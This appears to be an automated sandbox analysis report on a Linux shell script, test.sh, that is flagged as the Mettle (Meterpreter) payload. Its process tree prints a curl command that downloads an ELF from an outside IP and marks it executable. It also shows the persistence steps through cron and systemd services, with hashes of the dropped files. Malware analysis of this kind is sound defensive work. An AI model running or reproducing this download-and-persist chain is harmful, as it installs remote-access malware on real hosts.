Analysis

  • max time kernel
    8s
  • max time network
    3s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    31/08/2026, 17:36

General

  • Target
    test.sh
  • Size 5KB
  • Sample260831-v6vlbaxeqa
  • SHA256 75f1acc1a43b319031abd03d6d6d14241e0574c50e6bc6e553201348cf8d3873
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Mettle

    Mettle is an open-source Meterpreter payload for Linux.

  • Detects Mettle payload 1 IoCs
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Modifies systemd 2 TTPs 2 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Enumerates kernel/hardware configuration 1 TTPs 6 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 28 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/test.sh
    /tmp/test.sh
    1⤵
    • Modifies systemd
    • Writes file to tmp directory
    PID:650
    • /usr/bin/tee
      tee -a /var/monitor.log
      2⤵
        PID:656
      • /bin/date
        date "+%Y-%m-%d %H:%M:%S"
        2⤵
          PID:658
        • /usr/bin/tee
          tee -a /var/monitor.log
          2⤵
            PID:664
          • /bin/date
            date "+%Y-%m-%d %H:%M:%S"
            2⤵
              PID:665
            • /usr/bin/curl
              curl -s -o /var/test.elf http://64.89.163.22/test.elf
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              PID:670
            • /bin/chmod
              chmod +x /var/test.elf
              2⤵
              • File and Directory Permissions Modification
              PID:683
            • /usr/bin/tee
              tee -a /var/monitor.log
              2⤵
                PID:685
              • /bin/date
                date "+%Y-%m-%d %H:%M:%S"
                2⤵
                  PID:686
                • /usr/bin/tee
                  tee -a /var/monitor.log
                  2⤵
                    PID:688
                  • /bin/date
                    date "+%Y-%m-%d %H:%M:%S"
                    2⤵
                      PID:689
                    • /bin/cat
                      cat
                      2⤵
                        PID:690
                      • /bin/chmod
                        chmod +x /var/check_test_elf.sh
                        2⤵
                        • File and Directory Permissions Modification
                        PID:691
                      • /usr/bin/tee
                        tee -a /var/monitor.log
                        2⤵
                          PID:693
                        • /bin/date
                          date "+%Y-%m-%d %H:%M:%S"
                          2⤵
                            PID:694
                          • /usr/bin/tee
                            tee -a /var/monitor.log
                            2⤵
                              PID:696
                            • /bin/date
                              date "+%Y-%m-%d %H:%M:%S"
                              2⤵
                                PID:697
                              • /usr/bin/crontab
                                crontab -
                                2⤵
                                • Creates/modifies Cron job
                                • Reads runtime system information
                                PID:699
                              • /usr/bin/crontab
                                crontab -l
                                2⤵
                                • Reads runtime system information
                                PID:700
                              • /bin/grep
                                grep -v /var/check_test_elf.sh
                                2⤵
                                  PID:701
                                • /usr/bin/tee
                                  tee -a /var/monitor.log
                                  2⤵
                                    PID:703
                                  • /bin/date
                                    date "+%Y-%m-%d %H:%M:%S"
                                    2⤵
                                      PID:704
                                    • /usr/bin/tee
                                      tee -a /var/monitor.log
                                      2⤵
                                        PID:706
                                      • /bin/date
                                        date "+%Y-%m-%d %H:%M:%S"
                                        2⤵
                                          PID:707
                                        • /bin/cat
                                          cat
                                          2⤵
                                            PID:708
                                          • /bin/cat
                                            cat
                                            2⤵
                                              PID:709
                                            • /bin/systemctl
                                              systemctl daemon-reload
                                              2⤵
                                              • Enumerates kernel/hardware configuration
                                              • Reads runtime system information
                                              PID:710
                                            • /bin/systemctl
                                              systemctl enable test-elf-monitor.timer
                                              2⤵
                                              • Enumerates kernel/hardware configuration
                                              • Reads runtime system information
                                              PID:723
                                            • /bin/systemctl
                                              systemctl start test-elf-monitor.timer
                                              2⤵
                                              • Enumerates kernel/hardware configuration
                                              • Reads runtime system information
                                              PID:748
                                            • /usr/bin/tee
                                              tee -a /var/monitor.log
                                              2⤵
                                                PID:756
                                              • /bin/date
                                                date "+%Y-%m-%d %H:%M:%S"
                                                2⤵
                                                  PID:757
                                                • /usr/bin/tee
                                                  tee -a /var/monitor.log
                                                  2⤵
                                                    PID:760
                                                  • /bin/date
                                                    date "+%Y-%m-%d %H:%M:%S"
                                                    2⤵
                                                      PID:762
                                                    • /bin/cat
                                                      cat
                                                      2⤵
                                                        PID:768
                                                      • /bin/systemctl
                                                        systemctl daemon-reload
                                                        2⤵
                                                        • Enumerates kernel/hardware configuration
                                                        • Reads runtime system information
                                                        PID:773
                                                      • /bin/systemctl
                                                        systemctl enable test-elf-daemon.service
                                                        2⤵
                                                        • Enumerates kernel/hardware configuration
                                                        • Reads runtime system information
                                                        PID:800
                                                      • /bin/systemctl
                                                        systemctl start test-elf-daemon.service
                                                        2⤵
                                                        • Enumerates kernel/hardware configuration
                                                        • Reads runtime system information
                                                        PID:828
                                                      • /usr/bin/tee
                                                        tee -a /var/monitor.log
                                                        2⤵
                                                          PID:833
                                                        • /bin/date
                                                          date "+%Y-%m-%d %H:%M:%S"
                                                          2⤵
                                                            PID:834
                                                          • /usr/bin/tee
                                                            tee -a /var/monitor.log
                                                            2⤵
                                                              PID:837
                                                            • /bin/date
                                                              date "+%Y-%m-%d %H:%M:%S"
                                                              2⤵
                                                                PID:840
                                                              • /usr/bin/tee
                                                                tee -a /var/monitor.log
                                                                2⤵
                                                                  PID:847
                                                                • /bin/date
                                                                  date "+%Y-%m-%d %H:%M:%S"
                                                                  2⤵
                                                                    PID:848
                                                                  • /usr/bin/tee
                                                                    tee -a /var/monitor.log
                                                                    2⤵
                                                                      PID:850
                                                                    • /bin/date
                                                                      date "+%Y-%m-%d %H:%M:%S"
                                                                      2⤵
                                                                        PID:851
                                                                      • /usr/bin/tee
                                                                        tee -a /var/monitor.log
                                                                        2⤵
                                                                          PID:853
                                                                        • /bin/date
                                                                          date "+%Y-%m-%d %H:%M:%S"
                                                                          2⤵
                                                                            PID:854
                                                                          • /usr/bin/tee
                                                                            tee -a /var/monitor.log
                                                                            2⤵
                                                                              PID:856
                                                                            • /bin/date
                                                                              date "+%Y-%m-%d %H:%M:%S"
                                                                              2⤵
                                                                                PID:857

                                                                            Network

                                                                                  MITRE ATT&CK Enterprise v16

                                                                                  Replay Monitor

                                                                                  Loading Replay Monitor...

                                                                                  Downloads

                                                                                  test-elf-daemon.service

                                                                                  • Path /etc/systemd/system/test-elf-daemon.service
                                                                                  • Size 260B
                                                                                  • SHA256 d4ec08c58b679c07ba10d6cd3281a89a3cecf34deff165b7ab71743ff8bb8896
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  test-elf-monitor.service

                                                                                  • Path /etc/systemd/system/test-elf-monitor.service
                                                                                  • Size 101B
                                                                                  • SHA256 15293483a1ebdbbc5af690f65634bab52ad2837e3b5f9bb3e1e07de1492f9e6f
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  sh-thd.FYv7Ue

                                                                                  • Path /tmp/sh-thd.FYv7Ue
                                                                                  • Size 720B
                                                                                  • SHA256 6f735846f7f012cdfc0e46420e7d1af49d9c4aaa762c89f64cb5da122bc81259
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  monitor.log

                                                                                  • Path /var/monitor.log
                                                                                  • Size 40B
                                                                                  • SHA256 2d873f77046c097ffedb9e27c5886503ac2884acd7bc7166fa50df0ef32f1f26
                                                                                  • MD5 SHA1 SHA512

                                                                                  monitor.log

                                                                                  • Path /var/monitor.log
                                                                                  • Size 1KB
                                                                                  • SHA256 1dd2ef69999cb90be971b96a5f7cc85c6db3d767a89a24453b613e64f95cb842
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  monitor.log

                                                                                  • Path /var/monitor.log
                                                                                  • Size 107B
                                                                                  • SHA256 f707175f6a46a5661b463a07b1fb5b2ec7d112c2b4d4edce92cbc52e169948d4
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  monitor.log

                                                                                  • Path /var/monitor.log
                                                                                  • Size 175B
                                                                                  • SHA256 8a71d7e8604e9baf5ab2d0aba4625ebe5310276990e932d12d56d5acff2f0ee6
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  monitor.log

                                                                                  • Path /var/monitor.log
                                                                                  • Size 245B
                                                                                  • SHA256 06b3659da26c14a5746a8a491d939b06dfeb3bae5bbe8663fb1b2d55c3782994
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  monitor.log

                                                                                  • Path /var/monitor.log
                                                                                  • Size 311B
                                                                                  • SHA256 2e64bd36b42aae8cfb4f13c021d909ea0a055c50cc0a68b08f7cf74065710c4f
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  tmp.62Ez6K

                                                                                  • Path /var/spool/cron/crontabs/tmp.62Ez6K
                                                                                  • Size 175B
                                                                                  • SHA256 29380cc20b3b34b419278f8e9b59f621a24aeb702e4e2f5affadd4ef105dd819
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  test.elf

                                                                                  • Path /var/test.elf
                                                                                  • Size 1.1MB
                                                                                  • SHA256 d8c3b7036cc3a1e8bdc461cc15e28f1e3cde3fba4a62fc983f4e9ada65588f31
                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH